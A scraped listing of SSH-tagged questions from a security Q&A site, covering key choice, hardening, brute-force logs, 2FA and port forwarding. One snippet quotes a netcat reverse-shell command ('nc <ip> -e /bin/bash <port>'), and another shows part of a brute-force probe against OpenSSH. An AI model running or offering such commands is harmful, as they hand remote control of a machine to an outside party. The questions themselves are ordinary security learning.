SSH (Secure shell) is a protocol for secure communication between computers to execute remote commands, transfer data and tunnel TCP connections.

learn more… | top users | synonyms

1
vote
1answer
39 views

What purpose is served by repeated connection resets?

My server logs are being filled with Connection Reset by xxx.xxx.xxx.xxx [preauth]: $ cat /var/log/auth.log | grep 'Connection Reset' Mar 13 19:52:30 server sshd[29366]: Connection reset by xxx.xxx....
4
votes
1answer
43 views

What are the dangers of exposing weakly protected user accounts bound with a fake shell over ssh?

As anyone running a server can tell from first-hand experience, there are bots trying to constantly brute force their way through with commonly found usernames over SSH. A friend of mine created a ...
3
votes
1answer
86 views

How can I enforce that an SSH private key has a passphrase?

My company is serious about security and willing to move to SSH key-pairs. Users can generate their SSH key pairs independently and I worry if they set a pass-phrase. Can I enforce this? Does signing ...
1
vote
2answers
615 views

signing private openssl key for use with openssh

This is related to Converting keys between openssl and openssh . I have private keys generated by openssl that I want to use with SSH for connection authentication. I have no issue using ssh-keygen ...
23
votes
3answers
49k views

Secure Configuration of Ciphers/MACs/Kex available in SSH

Following on the heels of the previously posted question here, Taxonomy of Ciphers/MACs/Kex available in SSH?, I need some help to obtain the following design goals: Disable any 96-bit HMAC ...
2
votes
1answer
101 views

openssh old version vulnerabilities

My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option # PubkeyAcceptedKeyTypes ssh-rsa* ...
3
votes
1answer
262 views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
1
vote
1answer
106 views

What are the privacy implications of using Yubico OTP with YubiCloud?

I am considering purchasing Yubikey devices (made by Yubico) to add two-factor authentication when my users ssh to our various servers. I figured I would configure the device to use Yubico OTP with ...
1
vote
1answer
67 views

Minimal working configuration for reasonable security in openssh on Linux [duplicate]

I want to connect from my laptop to home server (both run some Linux; notice I explicitly want my user to be able to become root, in order e.g. to install new software): the server has the following ...
-3
votes
1answer
51 views

SSH and Port Forwarding - what are the possible attacks and how to avoid them? [closed]

What are possible attacks when using SSH and Local or Remote Port Forwarding? What are the threats? I understand that there are many, but what are they? And also, how could they be avoided?
1
vote
3answers
319 views

How to (further) ensure SSH security?

I set up my Linux Ubuntu machine as an SSH server through no-ip.com and it works great. Recently I discovered the command, sudo lastb -ad -F -w which outputs a log of the most recent failed SSH ...
1
vote
1answer
52 views

Why does the result of ssh-keyscan -H contain a header line with the un-hashed server ID?

I'm attempting to build a global known_hosts file for my AWS VPC, and was looking at using ssh-keyscan to acquire the fingerprints of new servers as they are created. The -H option seems sensible, as ...
0
votes
0answers
51 views

Can I use process crash information to detect buffer overflow attacks?

Buffer overflow is a very common vulnerability, often targeted with zero-day exploits. Successful attacks often result in arbitrary code execution, while failed attempts tend to crash the target ...
0
votes
1answer
52 views

Connecting to a compromised server

There have been a number of threads lately about hacked websites where attackers are gaining control of the servers these sites are being hosted on. As such, these servers should be treated as ...
88
votes
5answers
73k views

SSH key-type, rsa, dsa, ecdsa, are there easy answers for which to choose when?

As someone who knows little about cryptography, I wonder about the choice I make when creating ssh-keys. ssh-keygen -t type, where type is either of dsa,rsa and ecdsa. Googling can give some ...
1
vote
2answers
480 views

Snort “Protocol mismatch” from SSH preprocessor

TL;DR -- What does "protocol mismatch" even mean, and how is this a threat? Can I just suppress it? We are busy tuning Snort. The SSH preprocessor section looks like this, which comes directly from ...
1
vote
1answer
105 views

ssh key strength

Github currently suggest this type of key: ssh-keygen -t rsa -b 4096 -C "your_email@example.com" Is there a stronger algorithm or byte length mostly usable for most contemporary cloud, PaaS and ...
2
votes
1answer
250 views

Using SSH Private keys in Production environment

I have a need to scp a bunch of files from a production box to my development environment. I am a developer and have limited read access to the production machines. Instead of entering password for ...
14
votes
3answers
2k views

how does reverse shell behave?

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port): nc <ip> -e /bin/bash <port> I've never encountered ...
4
votes
1answer
115 views

Spoofing LAN IP Address Traffic

To give as much detail as possible, I am doing a Pentest for a client that has quite a few "terminal systems" meaning that they are simply a box with a connection back to the main server. These ...
8
votes
5answers
11k views

What are the ways to implement two factor authentication?

We have devices that can generate tokens. So we can use tokens with passwords to perform two factor authentication. There are many ways to implement such systems to enhance security. One of two I know,...
0
votes
5answers
764 views

SSH server: What's more secure, pub key auth or Google Authenticator time-based auth?

I'm curious which would be more secure, pub key authentication or 2-factor auth via Google Authenticator. Apparently I can't use both. If I have pub key authentication, the Google Auth PAM module ...
5
votes
1answer
79 views

Is OpenSSL generating Diffie-Hellman parameters that are safe for use in TLS or SSH servers?

I would like to generate Diffie-Hellman parameters on a Debian GNU/Linux "Jessie" 8 with OpenSSL. Lets assume the system CSPRNG was seeded with some real random data. On such a system, is the result ...
18
votes
1answer
3k views

Why OpenSSH deprecated DSA keys

There was a question RSA vs. DSA for SSH authentication keys asking which key is better. Basically all answers were more in a favour of RSA over DSA but didn't really tell that DSA would be somehow ...
3
votes
2answers
40 views

Should different versions of SSH give different VisualHostKeys?

I am SSHing to a server via Cygwin's SSH and via Ubuntu 14.04's SSH. Cygwin version: OpenSSH_7.1p2, OpenSSL 1.0.2e 3 Dec 2015 Ubuntu version: OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.4, OpenSSL 1.0.1f 6 Jan ...
51
votes
6answers
8k views

Why is leaving a passworded SSH over the internet so bad?

I've heard multiple multiple times to never leave SSH with a password open over the internet. Why is this so bad? I understand the password can be bruteforced, but what if it is a very strong ...
3
votes
1answer
63 views

How secure is GSSAPI single-signon over SSH?

I know it is possible to integrate Linux/SSH logins with a Windows AD by using GSSAPI (Kerberos) authentication instead of the classic ssh keys and/or passwords. However, I have been unable to find ...
21
votes
5answers
2k views

Should I use a second/dedicated IP address for SSH?

When running a public web server (e.g., with Apache), I've heard it's recommended to bind SSH to a second IP address, different from the one Apache is listening to. But for me it seems like this is ...
1
vote
5answers
122 views

Best Security Method for SSH Access

I have been starting to think about security in a bit more depth recently and have hit a few questions which I would really value opinions on. For years I have had the same SSH Keypair to get to my ...
3
votes
1answer
859 views

Is it possible to use SSH agent for generic data encryption?

Is it possible to use running SSH agent to decrypt some data (supplied as a string or read from file)?
10
votes
4answers
8k views

Managing and storing lots of SSH keys in the cloud

I have a pool of cloud servers (~50) that need to talk to many other remote cloud servers (~4000) using SSH. Each remote server has its own SSH key, so we need a place to store all of these remote ...
5
votes
1answer
310 views

Blocking Chinese IP addresses

I recently checked one of my servers' auth.log file and noticed some very suspicious activity. I recently shut down my server's ssh daemon, so the logs end on Jan 22, but what I noticed after ...
8
votes
5answers
3k views

What are potential security risks when using an insecure wireless connection?

If someone is using an insecure wireless connection (for example a hot spot in a coffee shop) does it pose a threat even if the person is using a secure application layer protocol? What I mean by ...
1
vote
1answer
126 views

SSH “on keyboard interactive devices” brute force vulnerability

I was researching the OpenSSH brute force vulnerability "onkeyborad-interactive devices", however I am not sure how this command really works ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "...
2
votes
2answers
93 views

Protecting account ssh keys from root

How can users ssh private keys be protected from root stealing and attempting to brute force them? I cannot use selinux as the vendor will not support the app when it's in use? Thanks
56
votes
8answers
10k views

Am I experiencing a brute force attack?

When checking the auth log of a server with the command: grep sshd.\*Failed /var/log/auth.log | less I see thousands of lines like this: Jan 12 11:27:10 ubuntu-leno1 sshd[8423]: Failed ...
56
votes
7answers
11k views

Are passwordless SSH logins more secure?

I had a long discussion with my co-workers whether key-based SSH authentication (particularly for OpenSSH) is more secure than authentication using passwords. My co-workers always connect to servers ...
61
votes
8answers
15k views

Should I change the default SSH port on linux servers?

Is there any advantage in changing the SSH port, I've seen people do that, but I can't seem to find the reason why. If you have a strong password and/or a certificate, is it useful for anything? ...
130
votes
7answers
114k views

What is the difference between SSL vs SSH? Which is more secure?

What is the difference between SSH and SSL? Which one is more secure, if you can compare them together? Which has more potential vulnerabilities?
8
votes
1answer
2k views

Is it considered worth it to replace OpenSSH's moduli file?

Consequences of tampered /etc/ssh/moduli describes a possible risk if the moduli file for an OpenSSH server has been tampered with. Taking the logic a step further, is there any concern with the ...
24
votes
1answer
8k views

Consequences of tampered /etc/ssh/moduli

What are the consequences if an attacker is able to modify the /etc/ssh/moduli file?
2
votes
2answers
3k views

How to view all SSH authorized_keys for a unix server

How would I view all the authorised SSH clients from a unix server? I know that cat ~/.ssh/authorized_keys shows authorised keys if logged in from root. Can other users set their own authorised keys ...
0
votes
1answer
77 views

Will the result of HTTPS and SSH encryption of the same data be identical for two separate requests?

If I was to request an image over HTTPS and record the packets over WireShark and then inspect a peer's Wireshark and look for the same packets, would I be able to see if they requested the same file, ...
3
votes
2answers
8k views

Break in attempts from secureserver.net

Over the last few weeks I have seen dozens if not hundreds of break-in attempts from ip addresses which map back to secureserver.net. I know these are GoDaddy machines from the who is look up. ...
1
vote
1answer
111 views

ssh tunneling /port forwarding/access different subnet

Hi I need some good pointer or any recommendation any docs about this below stated scenario. During in my recent pentesting : My ip is 192.168.x.1(kali) By some how I managed to get root shell on ...
2
votes
1answer
124 views

Using Google Authenticator for SSH sessions

So I have an SSH tunnel which I use with dynamic port forwarding to the alternate http port on the client. For initializing this connection, I'd like to implement an additional verification step, ...
2
votes
2answers
150 views

Choosing between SSH and HTTPS for executing script using McAfee ESM Nitro

We intend to use McAfee ESM Nitro (SIEM) for security monitoring of our infrastructure servers. To bring automation in system administration of our servers, we have developed some applications in-...
0
votes
1answer
61 views

Is it a breach to have a ssh program into a tomcat server

I start to working in a project here and find something that at least seems odd to me. Since I'm not an specialist I came here to ask. It is a Java Web project that was made to run into a Tomcat ...
1
vote
2answers
2k views

Is there a risk in opening port 22 for ssh access with a network? [duplicate]

Background We have our own datacenter which houses platform specific environments and each environment is isolated. Eeach environment is also has 3 tiers (Web Servers, Application Servers & ...
14
votes
2answers
3k views

Two-factor authentication with ssh key authentication and yubikey?

OpenSSH won't invoke PAM at all if public key (RSA) authentication is configured and the client presents a valid key. So if you use key-based auth, you can't enforce 2FA easily. One workaround for ...